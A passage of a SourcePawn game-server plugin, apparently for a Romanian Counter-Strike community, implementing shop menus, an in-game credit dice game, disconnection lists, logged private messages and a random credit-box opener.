		meniu_cutii.SetTitle("----------------\nCutii\nCredite: %i\n----------------", Credite[client]);
		if(Credite[client] >= 2000)
		{
			meniu_cutii.AddItem("", "Cutie cu credite |100-4000| - [2000 Credite]");
		}
		if(Credite[client] < 2000)
		{
			meniu_cutii.AddItem("", "Cutie cu credite |100-4000| - [2000 Credite]", ITEMDRAW_DISABLED);
		}
		meniu_cutii.ExitBackButton = true;
		meniu_cutii.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;	
}

public int CutiiMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_shop");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				FakeClientCommand(client, "sm_cutiecredite");
			}
		}
	}
}

stock bool MeniuSaySounds(int client)
{
	if (IsPlayerAlive(client) && (GetClientTeam(client) == 2 || GetClientTeam(client) == 3))
	{
		Menu meniu_cutii = new Menu(MeniuSayMenuHandler);
		meniu_cutii.SetTitle("----------------\nSay Sounds\nCredite: %i\n----------------\n", Credite[client]);
		if(Credite[client] >= 15)
		{
			meniu_cutii.AddItem("", "Mai - [15 Credite]");
		}
		else if(Credite[client] < 15)
		{
			meniu_cutii.AddItem("", "Mai - [15 Credite]", ITEMDRAW_DISABLED);
		}
		meniu_cutii.ExitBackButton = true;
		meniu_cutii.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;	
}


public int MeniuSayMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_shop");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				Credite[client] -= 15;
				tombolacredite += 15 /2;
				BlocareSaySounds[client] = 1;
				for (int i = 1; i <= MaxClients; i++)  
				{  
					if(IsClientInGame(i) && OnOfSaySounds[i])
					{  
						ClientCommand(i, "play \"*xsag/sunete/say/mai.mp3\"");
					}
				}
				PrintToChatAll(" \x05[BOT]ESL\x01: \x10%N \x01a cumpărat sunetul \x06mai\x01 din shop." ,client);
			}
		}
	}
}

stock bool Consumabile(int client)
{
	if (IsPlayerAlive(client) && (GetClientTeam(client) == 2 || GetClientTeam(client) == 3))
	{
		Menu meniu_armedefoc = new Menu(ConsumabileMenuHandler);
		meniu_armedefoc.SetTitle("----------------\nPrim Ajutor\nCredite: %i\n----------------", Credite[client]);
		if(BlocareShopSeringa[client] == 0)
		{
			if(Credite[client] >= 50)
			{
				meniu_armedefoc.AddItem("", "Seringă |+20HP| (0/2) - [50 Credite]");
			}
			if(Credite[client] < 50)
			{
				meniu_armedefoc.AddItem("", "Seringă |+20HP| (0/2) - [50 Credite]", ITEMDRAW_DISABLED);
			}
		}
		else if(BlocareShopSeringa[client] == 1)
		{
			if(Credite[client] >= 50)
			{
				meniu_armedefoc.AddItem("", "Seringă |+20HP| (1/2) - [50 Credite]");
			}
			if(Credite[client] < 50)
			{
				meniu_armedefoc.AddItem("", "Seringă |+20HP| (1/2) - [50 Credite]", ITEMDRAW_DISABLED);
			}
		}
		else
		{
			meniu_armedefoc.AddItem("", "Seringă |+20HP| (2/2) - [50 Credite]", ITEMDRAW_DISABLED);
		}
		int Max = 100, CurrentHp = GetEntProp(client, Prop_Data, "m_iHealth");
		if(CurrentHp == Max)
		{
			if(BlocareShopMedkit[client] == 0)
			{
				meniu_armedefoc.AddItem("", "MedKit |instant +70HP| (0/1) - [175 Credite]\nAi 100% HP-ul", ITEMDRAW_DISABLED);
			}
			else
			{
				meniu_armedefoc.AddItem("", "MedKit |instant +70HP| (1/1) - [175 Credite]\nAi 100% HP-ul", ITEMDRAW_DISABLED);
			}
		}
		else
		{
			if(BlocareShopMedkit[client] == 0)
			{
				if(Credite[client] >= 175)
				{
					meniu_armedefoc.AddItem("", "MedKit |instant +70HP| (0/1) - [175 Credite]");
				}
				if(Credite[client] < 175)
				{
					meniu_armedefoc.AddItem("", "MedKit |instant +70HP| (0/1) - [175 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				meniu_armedefoc.AddItem("", "MedKit |instant +70HP| (1/1) - [175 Credite]", ITEMDRAW_DISABLED);
			}
		}
		meniu_armedefoc.ExitBackButton = true;
		meniu_armedefoc.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;	
}

public int ConsumabileMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_shop");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				Credite[client] -= 50;
				tombolacredite += 50 / 2;
				BlocareShopSeringa[client] += 1;
				GivePlayerItem(client, "weapon_healthshot");
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06SERINGĂ(20hp)\x01 din shop.");
			}
			case 1:
			{
				int Max = 100, CurrentHp = GetEntProp(client, Prop_Data, "m_iHealth");
				int MedkitH = 70;
				Credite[client] -= 175;
				tombolacredite += 175 / 2;
				BlocareShopMedkit[client] = 1;
				if((CurrentHp + MedkitH) > Max)
				{
					SetEntProp(client, Prop_Send, "m_iHealth", Max, 1);
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06MEDKIT(+70hp)\x01 din shop.");
				} 
				else
				{
					SetEntProp(client, Prop_Send, "m_iHealth", MedkitH + CurrentHp, 1);
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06MEDKIT(+70hp)\x01 din shop.");
				}
			}
		}
	}
}

stock bool Armament(int client)
{
	if (IsPlayerAlive(client) && (GetClientTeam(client) == 2 || GetClientTeam(client) == 3))
	{
		Menu meniu_armedefoc = new Menu(ArmeDeFocMenuHandler);
		meniu_armedefoc.SetTitle("----------------\nEchipament\nCredite: %i\n----------------", Credite[client]);
		if(BlocareShopZeus[client] == 0)
		{
			if(Credite[client] >= 5)
			{
				meniu_armedefoc.AddItem("", "Zeus (0/1) - [5 Credite]");
			}
			if(Credite[client] < 5)
			{
				meniu_armedefoc.AddItem("", "Zeus (0/1) - [5 Credite]", ITEMDRAW_DISABLED);
			}
		}
		else
		{
			meniu_armedefoc.AddItem("", "Zeus (1/1) - [5 Credite]", ITEMDRAW_DISABLED);
		}

		if(BlocareShopNegev[client] == 0)
		{
			if(Credite[client] >= 20)
			{
				meniu_armedefoc.AddItem("", "Negev (0/1) - [20 Credite]");
			}
			if(Credite[client] < 20)
			{
				meniu_armedefoc.AddItem("", "Negev (0/1) - [20 Credite]", ITEMDRAW_DISABLED);
			}
		}
		else
		{
			meniu_armedefoc.AddItem("", "Negev (1/1) - [20 Credite]", ITEMDRAW_DISABLED);
		}
		
		if(IsClientRealVip(client))
		{
			if(RestrictieAWP[client] == 6)
			{
				if(Credite[client] >= 25)
				{
					meniu_armedefoc.AddItem("", "Stock AWP (0/0) - [25 Credite]");
				}
				if(Credite[client] < 25)
				{
					meniu_armedefoc.AddItem("", "Stock AWP (0/0) - [25 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				int stockvip = 6 - RestrictieAWP[client]; 
				char sItem[32];
				Format(sItem, sizeof(sItem), "Stock AWP (%i/0) - [25 Credite]", stockvip);
				meniu_armedefoc.AddItem("test", sItem, ITEMDRAW_DISABLED);
			}
		}
		else
		{
			if(RestrictieAWP[client] == 4)
			{
				if(Credite[client] >= 25)
				{
					meniu_armedefoc.AddItem("", "Stock AWP (0/0) - [25 Credite]");
				}
				if(Credite[client] < 25)
				{
					meniu_armedefoc.AddItem("", "Stock AWP (0/0) - [25 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				int stocknovip = 4 - RestrictieAWP[client]; 
				char sItem[32];
				Format(sItem, sizeof(sItem), "Stock AWP (%i/0) - [25 Credite]", stocknovip);
				meniu_armedefoc.AddItem("test", sItem, ITEMDRAW_DISABLED);
			}
		}
		
		if(GetClientTeam(client) == 2)
		{
			if(BlocareShopG3sg1[client] == 0)
			{
				if(Credite[client] >= 30)
				{
					meniu_armedefoc.AddItem("", "G3SG1 (0/1) - [30 Credite]");
				}
				if(Credite[client] < 30)
				{
					meniu_armedefoc.AddItem("", "G3SG1 (0/1) - [30 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				meniu_armedefoc.AddItem("", "G3SG1 (1/1) - [30 Credite]", ITEMDRAW_DISABLED);
			}
		}
		if(GetClientTeam(client) == 3)
		{
			if(BlocareShopScar[client] == 0)
			{
				if(Credite[client] >= 30)
				{
					meniu_armedefoc.AddItem("", "SCAR-20 (0/1) - [30 Credite]");
				}
				if(Credite[client] < 30)
				{
					meniu_armedefoc.AddItem("", "SCAR-20 (0/1) - [30 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				meniu_armedefoc.AddItem("", "SCAR-20 (1/1) - [30 Credite]", ITEMDRAW_DISABLED);
			}
		}
		if(BlocareShopScut[client] == 0)
		{
			if(Credite[client] >= 60)
			{
				meniu_armedefoc.AddItem("", "Scut (0/1) - [60 Credite]");
			}
			if(Credite[client] < 60)
			{
				meniu_armedefoc.AddItem("", "Scut (0/1) - [60 Credite]", ITEMDRAW_DISABLED);
			}
		}
		else
		{
			meniu_armedefoc.AddItem("", "Scut (1/1) - [60 Credite]", ITEMDRAW_DISABLED);
		}
		if(BlocareShopMapaTagGrenade[client] == 3)
		{
				meniu_armedefoc.AddItem("", "Tag Grenade (Ai cumparat deja de 3 ori)", ITEMDRAW_DISABLED);
		}
		else
		{
			if(BlocareShopTagGrenade[client] == 0)
			{
				if(Credite[client] >= 150)
				{
					meniu_armedefoc.AddItem("", "Tag Grenade (0/1) - [150 Credite]");
				}
				if(Credite[client] < 150)
				{
					meniu_armedefoc.AddItem("", "Tag Grenade (0/1) - [100 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				meniu_armedefoc.AddItem("", "Tag Grenade (1/1) - [100 Credite]", ITEMDRAW_DISABLED);
			}
		}
		meniu_armedefoc.ExitBackButton = true;
		meniu_armedefoc.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int ArmeDeFocMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_shop");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				Credite[client] -= 5;
				tombolacredite += 5 / 2;
				BlocareShopZeus[client] = 1;
				GivePlayerItem(client, "weapon_taser");
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06ZEUS\x01 din shop.");
			}
			case 1:
			{
				Credite[client] -= 20;
				tombolacredite += 20 / 2;
				BlocareShopNegev[client] = 1;
				int weapon = GetPlayerWeaponSlot(client, 0);
				if (weapon != -1)
				{
					CS_DropWeapon(client, weapon, true, true);
				}
				GivePlayerItem(client, "weapon_negev");
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06NEGEV\x01 din shop.");
			}
			case 2:
			{
				Credite[client] -= 25;
				tombolacredite += 25 / 2;
				RestrictieAWP[client] = 1;
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06+1 Stock AWP\x01 din shop.");
			}
			case 3:
			{
				Credite[client] -= 30;
				tombolacredite += 30 / 2;
				if(GetClientTeam(client) == 2)
				{
					BlocareShopG3sg1[client] = 1;
					int weapon = GetPlayerWeaponSlot(client, 0);
					if (weapon != -1)
					{
						CS_DropWeapon(client, weapon, true, true);
					}
					GivePlayerItem(client, "weapon_g3sg1");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06G3SG1\x01 din shop.");
				}
				if(GetClientTeam(client) == 3)
				{
					BlocareShopScar[client] = 1;
					int weapon = GetPlayerWeaponSlot(client, 0);
					if (weapon != -1)
					{
						CS_DropWeapon(client, weapon, true, true);
					}
					GivePlayerItem(client, "weapon_scar20");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06SCAR-20\x01 din shop.");
				}
			}
			case 4:
			{
				Credite[client] -= 60;
				tombolacredite += 60 / 2;
				BlocareShopScut[client] = 1;
				GivePlayerItem(client, "weapon_shield");
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06SCUT\x01 din shop.");
			}
			case 5:
			{
				Credite[client] -= 150;
				tombolacredite += 150 / 2;
				BlocareShopTagGrenade[client] = 1;
				BlocareShopMapaTagGrenade[client] += 1;
				SetEntProp(client, Prop_Send, "m_iAmmo", 0, _, 16);
				GivePlayerItem(client, "weapon_tagrenade");
				if(BlocareShopMapaTagGrenade[client] == 1)
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06TAG GRENADE\x01 din shop. Mai poți cumpăra doar două bucați pe această mapă!");
				}
				else if(BlocareShopMapaTagGrenade[client] == 2)
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06TAG GRENADE\x01 din shop. Mai poți cumpăra doar o bucață pe această mapă!!");
				}
				else if(BlocareShopMapaTagGrenade[client] == 3)
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06TAG GRENADE\x01 din shop. Nu mai poți cumpăra nici o bucată pe această mapă!!");
				}
			}
		}
	}
}

public Action Command_DicesOFF(int client, int args) 
{
	if(AreDicesEnabled[client] == false)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Cererile pentru barbut sunt deja blocate.");
		return Plugin_Handled;
	}
	PrintToChat(client, " \x05[BOT]ESL\x01: Cererile pentru barbut au fost blocate.");
	AreDicesEnabled[client] = false;
	SetClientCookie(client, Dices_Cookie, "0");
	return Plugin_Handled;
}

public Action Command_DicesON(int client, int args) 
{
	if(AreDicesEnabled[client] == true)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Cererile pentru barbut sunt deja deblocate.");
		return Plugin_Handled;
	}
	PrintToChat(client, " \x05[BOT]ESL\x01: Cererile pentru barbut au fost deblocate.");
	AreDicesEnabled[client] = true;
	SetClientCookie(client, Dices_Cookie, "1");
	return Plugin_Handled;
}

public Action Command_Dices(int client, int args)
{
	if(args < 2)
	{
		ReplyToCommand(client, "Usage sm_barbut <#player> <credite>");
		return Plugin_Handled;
	}
	char iTarget[32], iBetValue[16];
	GetCmdArg(1, iTarget, sizeof(iTarget));
	int Target = FindTarget(client, iTarget, false, false);
	GetCmdArg(2, iBetValue, sizeof(iBetValue));
	int BetValue = StringToInt(iBetValue);
	if (Target == 0 || Target == -1) 
		return Plugin_Handled;  
	if(client == Target)
	{
		ReplyToCommand(client, " \x05[BOT]ESL\x01: Nu poți juca barbut singur.");
		return Plugin_Handled;
	}
	if(BetValue > 1000 || BetValue < 10)
	{
		ReplyToCommand(client, " \x05[BOT]ESL\x01: Poți juca barbut cu următoarele valori -> Min: 10 - Max: 1000 ");
		return Plugin_Handled; 
	}
	if(BetValue > Credite[client] || BetValue > Credite[Target])
	{
		ReplyToCommand(client, " \x05[BOT]ESL\x01: Oponentul nu are suficiente credite.");
		return Plugin_Handled;
	}
	if(IsAlreadyPlaying[client] == true || IsAlreadyPlaying[Target] == true)
	{
		ReplyToCommand(client, " \x05[BOT]ESL\x01: Tu/Oponentul tău jucați deja barbut.");
		return Plugin_Handled;
	}
	if(AreDicesEnabled[client] == false || AreDicesEnabled[Target] == false) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Tu/Openentul tău aveți dezactivate cererile de barbut.");
		return Plugin_Handled;
	}
	if(IsClientValid(Target))
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: L-ai provat pe \x10%N\x01 la o partidă de barbut cu \x06%d\x01 credite.", Target, BetValue);
		AskTarget(client, Target, BetValue);
	}
	return Plugin_Handled;
}

public void AskTarget(int client, int target, int BetValue)
{
	IsAlreadyPlaying[client] = true;
	IsAlreadyPlaying[target] = true;
	Menu DicesMenu = new Menu(AskTargetHandler, MENU_ACTIONS_DEFAULT);
	char MenuTitle[50];
	FormatEx(MenuTitle, sizeof(MenuTitle), "%N vrea să jucați barbut pe %i credite", client, BetValue);
	DicesMenu.SetTitle(MenuTitle);
	DicesMenu.AddItem(DISABLED, "Ai grijă ce buton alegi!", ITEMDRAW_DISABLED);
	DicesMenu.AddItem(DISABLED, "Riști să-ți pierzi creditele.", ITEMDRAW_DISABLED);
	DicesMenu.AddItem(DISABLED, "", ITEMDRAW_SPACER);
	DicesMenu.AddItem(ACCEPT, "Accept");
	DicesMenu.AddItem(REJECT, "Refuz");
	PushMenuCell(DicesMenu, "Client", client);
	PushMenuCell(DicesMenu, "Target", target);
	PushMenuCell(DicesMenu, "Credits", BetValue);
	DicesMenu.ExitButton = false;
	DicesMenu.Display(target, 15);
}

public int AskTargetHandler(Menu DicesMenu, MenuAction action, int param1, int param2)
{
	int client = GetMenuCell(DicesMenu, "Client");
	int target = GetMenuCell(DicesMenu, "Target");
	switch(action)
	{
		case MenuAction_Select:
		{
			char info[32];
			DicesMenu.GetItem(param2, info, sizeof(info));
			if(StrEqual(info, ACCEPT))
			{
				PrintToChat(GetMenuCell(DicesMenu, "Client"), " \x05[BOT]ESL\x01: \x10%N\x01 a acceptat provocarea ta pentru \x06%i credite.", param1, GetMenuCell(DicesMenu, "Credits"));
				RollTheDices(GetMenuCell(DicesMenu, "Client"), param1, GetMenuCell(DicesMenu, "Credits"));
			}
			else
            {
				PrintToChat(GetMenuCell(DicesMenu, "Client"), " \x05[BOT]ESL\x01: \x10%N\x01 a refuzat provocarea ta pentru \x06%i credite.", param1, GetMenuCell(DicesMenu, "Credits"));
				IsAlreadyPlaying[client] = false;
				IsAlreadyPlaying[target] = false;
			}
		}
		
		case MenuAction_Cancel:
		{
			PrintToChat(GetMenuCell(DicesMenu, "Client"), " \x05[BOT]ESL\x01: Provocarea cu \x10%N\x01 a fost anulată.", param1);
			IsAlreadyPlaying[client] = false;
			IsAlreadyPlaying[target] = false;
		}
	}
}

public void RollTheDices(int client, int target, int BetValue)
{
	Credite[target] = Credite[target] - BetValue;
	Credite[client] = Credite[client] - BetValue;
	int ClientFirstDice = GetRandomInt(1,6);
	int ClientSecondDice = GetRandomInt(1,6);
	int ClientSumDices = ClientFirstDice + ClientSecondDice;
	int TargetFirstDice = GetRandomInt(1,6);
	int TargetSecondDice = GetRandomInt(1,6);
	int TargetSumDices = TargetFirstDice + TargetSecondDice;

	if(ClientSumDices > TargetSumDices)
	{
		Credite[client] = Credite[client] + BetValue*2;
		PrintToChat(client, " \x05[BOT]ESL\x01: Tu ai dat cu zarul [\x06%d %d\x01], iar\x10 %N\x01 [\x06%d %d\x01]. Ai câștigat \x06%d\x01 credite.", ClientFirstDice, ClientSecondDice, target, TargetFirstDice, TargetSecondDice, BetValue);
		PrintToChat(target, " \x05[BOT]ESL\x01: Tu ai dat cu zarul [\x06%d %d\x01], iar\x10 %N\x01 [\x06%d %d\x01]. Ai pierdut \x06%d\x01 credite.", TargetFirstDice, TargetSecondDice, client, ClientFirstDice, ClientSecondDice, BetValue);
		EmitSoundToClient(client, WINNER_SOUND);
		EmitSoundToClient(target, LOSER_SOUND);
	}
	else if(ClientSumDices < TargetSumDices)
	{
		Credite[target] = Credite[target] + BetValue*2;
		PrintToChat(client, " \x05[BOT]ESL\x01: Tu ai dat cu zarul [\x06%d %d\x01], iar\x10 %N\x01 [\x06%d %d\x01]. Ai pierdut \x06%d\x01 credite.", ClientFirstDice, ClientSecondDice, target, TargetFirstDice, TargetSecondDice, BetValue);
		PrintToChat(target, " \x05[BOT]ESL\x01: Tu ai dat cu zarul [\x06%d %d\x01], iar\x10 %N\x01 [\x06%d %d\x01]. Ai câștigat \x06%d\x01 credite.", TargetFirstDice, TargetSecondDice, client, ClientFirstDice, ClientSecondDice, BetValue);    
		EmitSoundToClient(target, WINNER_SOUND);
		EmitSoundToClient(client, LOSER_SOUND);
	}
	else
	{
		Credite[target] = Credite[target] + BetValue;
		Credite[client] = Credite[client] + BetValue;       
		PrintToChat(client, " \x05[BOT]ESL\x01: Tu ai dat cu zarul [\x06%d %d\x01], iar\x10 %N\x01 [\x06%d %d\x01]. Nimeni nu a câștigat.", ClientFirstDice, ClientSecondDice, target, TargetFirstDice, TargetSecondDice);
		PrintToChat(target, " \x05[BOT]ESL\x01: Tu ai dat cu zarul [\x06%d %d\x01], iar\x10 %N\x01 [\x06%d %d\x01]. Nimeni nu a câștigat.", TargetFirstDice, TargetSecondDice, client, ClientFirstDice, ClientSecondDice);
		EmitSoundToClient(target, NOBODY_SOUND);
		EmitSoundToClient(client, NOBODY_SOUND);
	}
	IsAlreadyPlaying[client] = false;
	IsAlreadyPlaying[target] = false;
}

bool IsClientValid(int client)
{
	return (0 < client <= MaxClients) && IsClientInGame(client) && !IsFakeClient(client);
}

public void Event_PlayerDisconnect(Event event, const char[] name, bool dontBroadcast) 
{
	PlayerInfo info;
	
	event.GetString("networkid", info.steam, sizeof(PlayerInfo::steam));
	if (StrEqual(info.steam, "BOT", true))
	{
		return;
	}
	
	event.GetString("name", info.name, sizeof(PlayerInfo::name));
	info.time = GetTime();
	
	RemovePlayerFromList(info.steam);
	if (!g_List_Players.Length)
	{
		g_List_Players.PushArray(info);
		return;
	}
	
	g_List_Players.ShiftUp(0);
	g_List_Players.SetArray(0, info);
	
	if (g_List_Players.Length > 20)
	{
		g_List_Players.Resize(20);
	}
}

public Action Command_ListDisconnections(int client, int args)
{
	char time[64];
	PlayerInfo info;
	
	PrintToConsole(client, "===========================================");
	PrintToConsole(client, "Lista cu ultimii 20 de jucători deconectați");
	PrintToConsole(client, "-------------------------------------------");
	for (int i = 0; i < g_List_Players.Length; i++)
	{
		g_List_Players.GetArray(i, info);
		
		// Transform the unix time into "d h m ago" format type
		FormatTimeDuration(time, sizeof(time), GetTime() - info.time);
		PrintToConsole(client, "  [%2d.] '%s'  %s -> Deconectat acum %s", i + 1, info.name, info.steam, time);
	}
	PrintToConsole(client, "===========================================");
	return Plugin_Handled;
}

void RemovePlayerFromList(const char[] steam)
{
	PlayerInfo info;
	for (int i = 0; i < g_List_Players.Length; i++)
	{
		g_List_Players.GetArray(i, info);	
		if (StrEqual(steam, info.steam, true))
		{
			g_List_Players.Erase(i);
			return;
		}
	}
}

int FormatTimeDuration(char[] buffer, int maxlen, int time)
{
	int days = time / 86400;
	int hours = (time / 3600) % 24;
	int minutes = (time / 60) % 60;
	
	if (days)
	{
		return Format(buffer, maxlen, "%dd %dh %dm", days, hours, minutes);		
	}
	
	if (hours)
	{
		return Format(buffer, maxlen, "%dh %dm", hours, minutes);		
	}
	
	if (minutes)
	{
		return Format(buffer, maxlen, "%dm", minutes);		
	}
	
	return Format(buffer, maxlen, "%ds", time % 60);		
}
	
public Action Command_PMoff(int client, int args) 
{
	if(g_IsPMon[client] == false)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Mesajele private sunt deja blocate. [\x10System PM\x01]");
		return Plugin_Handled;
	}
	PrintToChat(client, " \x05[BOT]ESL\x01: Mesajele private au fost blocate. [\x10System PM\x01]");
	g_IsPMon[client] = false;
	SetClientCookie(client, g_PM_Cookie, "0");
	return Plugin_Handled;
}
public Action Command_PMon(int client, int args) 
{
	if(g_IsPMon[client] == true)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Mesajele private sunt deja deblocate. [\x10System PM\x01]");
		return Plugin_Handled;
	}
	PrintToChat(client, " \x05[BOT]ESL\x01: Mesajele private au fost deblocate. [\x10System PM\x01]");
	g_IsPMon[client] = true;
	SetClientCookie(client, g_PM_Cookie, "1");
	return Plugin_Handled;
}

public Action Command_SendPM(int client, int args)
{
	if(args < 2)
	{
		ReplyToCommand(client, "Usage sm_pm <#player> <mesaj>");
		return Plugin_Handled;
	}
	char ClientName[32], TargetName[32], iTarget[64], Message[256], TargetSTEAM[32], ClientSTEAM[32], PmLogMessage[256], PmLogTime[512];
	GetCmdArg(1, iTarget, sizeof(iTarget));
	GetCmdArg(2, Message, sizeof(Message));
	int Target = FindTarget(client, iTarget, false, false);

	if(Target == -1)
		return Plugin_Handled;
	if(g_IsPMon[client] == false) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Deblochează mesajele private dacă vrei să trimiți un mesaj privat. [\x10System PM\x01]");
		return Plugin_Handled;
	}
	if(g_IsPMon[Target] == false)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Are mesajele private blocate. [\x10System PM\x01]");
		return Plugin_Handled;
	}
	
	if(Target == client)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Nu poți să-ti trimiți un mesaj privat. [\x10System PM\x01]");
		return Plugin_Handled;
	}
    
	if(IsClientValid(Target) && !BaseComm_IsClientGagged(client))
	{
		GetClientName(Target, TargetName, sizeof(TargetName));
		GetClientName(client, ClientName, sizeof(ClientName));
		FormatTime(PmLogTime, sizeof(PmLogTime), "%d/%m/%y - %H:%M:%S", GetTime());
		GetClientAuthId(client, AuthId_Steam2, ClientSTEAM, sizeof(ClientSTEAM));
		GetClientAuthId(Target, AuthId_Steam2, TargetSTEAM, sizeof(TargetSTEAM));
		GetCmdArgString(Message, sizeof(Message));
		ReplaceStringEx(Message, sizeof(Message), iTarget, "", -1, -1, true);
		PrintToChat(Target, " \x10[PM de la \x05%s\x10]: \x07%s", ClientName, Message);
		PrintToChat(client, " \x10[PM către \x05%s\x10]: \x07%s", TargetName, Message);
		Format(PmLogMessage, sizeof(PmLogMessage), "[%s] %s[%s] TO %s[%s]:%s", PmLogTime, ClientName, ClientSTEAM, TargetName, TargetSTEAM, Message);
		Handle FileHandle = OpenFile(LogsPath, "a+");
		WriteFileLine(FileHandle, "%s", PmLogMessage);
		CloseHandle(FileHandle);
		return Plugin_Handled;
	}
	return Plugin_Handled;
}

Action TextMsgHintTextHook(UserMsg msg_id, Protobuf msg, const int[] players, int playersNum, bool reliable, bool init)
{
	static char sBuf[sizeof g_sSpace];
	
	if(msg_id == g_HintText)
	{
		msg.ReadString("text", sBuf, sizeof sBuf);
	}
	else if(msg_id == g_KeyHintText)
	{
		msg.ReadString("hints", sBuf, sizeof sBuf, 0);
	}
	else if(msg.ReadInt("msg_dst") == 4)
	{
		msg.ReadString("params", sBuf, sizeof sBuf, 0);
	}
	else
	{
		return Plugin_Continue;
	}
		
	if(StrContains(sBuf, "<font") != -1 || StrContains(sBuf, "<span") != -1) // only hook msg with colored tags
	{
		DataPack hPack = new DataPack();
		
		hPack.WriteCell(playersNum);
		
		for(int i = 0; i < playersNum; i++)
		{
			hPack.WriteCell(players[i]);
		}
		
		hPack.WriteString(sBuf);
		
		hPack.Reset();
		
		RequestFrame(TextMsgFix, hPack);
		
		return Plugin_Handled;
	}
	
	return Plugin_Continue;
}

void TextMsgFix(DataPack hPack)
{
	int iCount = hPack.ReadCell();
	
	static int iPlayers[MAXPLAYERS+1];
	
	for(int i = 0; i < iCount; i++)
	{
		iPlayers[i] = hPack.ReadCell();
	}
	
	int[] newClients = new int[MaxClients];
	int newTotal = 0;
	
	for (int i = 0; i < iCount; i++) {
		int client = iPlayers[i];
	
		if (IsClientInGame(client)) {

			newClients[newTotal] = client;
			newTotal++;
		}
	}
	  
	if (newTotal == 0) {
		return;
	}
	
	static char sBuf[sizeof g_sSpace];
	
	hPack.ReadString(sBuf, sizeof sBuf);
	
	delete hPack;
	
	Protobuf hMessage = view_as<Protobuf>(StartMessageEx(g_TextMsg, newClients, newTotal, USERMSG_RELIABLE|USERMSG_BLOCKHOOKS));
	
	if(hMessage)
	{
		hMessage.SetInt("msg_dst", 4);
		hMessage.AddString("params", "#SFUI_ContractKillStart");
		
		Format(sBuf, sizeof sBuf, "</font>%s%s", sBuf, g_sSpace);
		hMessage.AddString("params", sBuf);
		
		hMessage.AddString("params", NULL_STRING);
		hMessage.AddString("params", NULL_STRING);
		hMessage.AddString("params", NULL_STRING);
		hMessage.AddString("params", NULL_STRING);
		
		EndMessage();
	}
}

public Action CutieCredite(int client,int args)
{
	int JoiningCost = 2000;
	tombolacredite += 2000 / 2;
	if (Credite[client] >= JoiningCost)	
	{
		Credite[client] = Credite[client] - JoiningCost;
		CreateTimer(0.1, OpeningCase, client, TIMER_REPEAT);
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai nevoie de %i credite pentru a deschide această cutie! [\x10System Cutii\x01]");
	}
	return Plugin_Handled;
}


public Action OpeningCase(Handle timer, any client)
{
	static int Number = 0;
 	int MIN = 100, MAX = 4000;
	if (Number >= 100) 
	{
		Number = 0;
		int randomNumber = GetRandomInt(MIN,MAX);	
		PrintCenterText(client, "<big><font color='#00CCFF'>|| <font color='#15fb00'>%i</font> Credite ||</font></b></u></big>", randomNumber);
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai deschis o cutie ce conține credite și ai găsit în ea %i Credite! [\x10System Cutii\x01]", randomNumber);
		Credite[client] = Credite[client] + randomNumber;
		return Plugin_Stop;
	}
	
 	int randomNumber = GetRandomInt(MIN,MAX);	
	PrintCenterText(client, "<big><u><b><font color='#00CCFF'>|| <font color='#15fb00'>%i</font> Credite ||</font></b></u></big>", randomNumber);
	Number++;			
	return Plugin_Continue;
}

public int GetRank(int client)
{
	if(GetPlayedHours(client) > 1000.0) return 10;
	else if(GetPlayedHours(client) >= 500.0) return 9;
	else if(GetPlayedHours(client) >= 300.0) return 8;
	else if(GetPlayedHours(client) >= 200.0) return 7;
	else if(GetPlayedHours(client) >= 150.0) return 6;
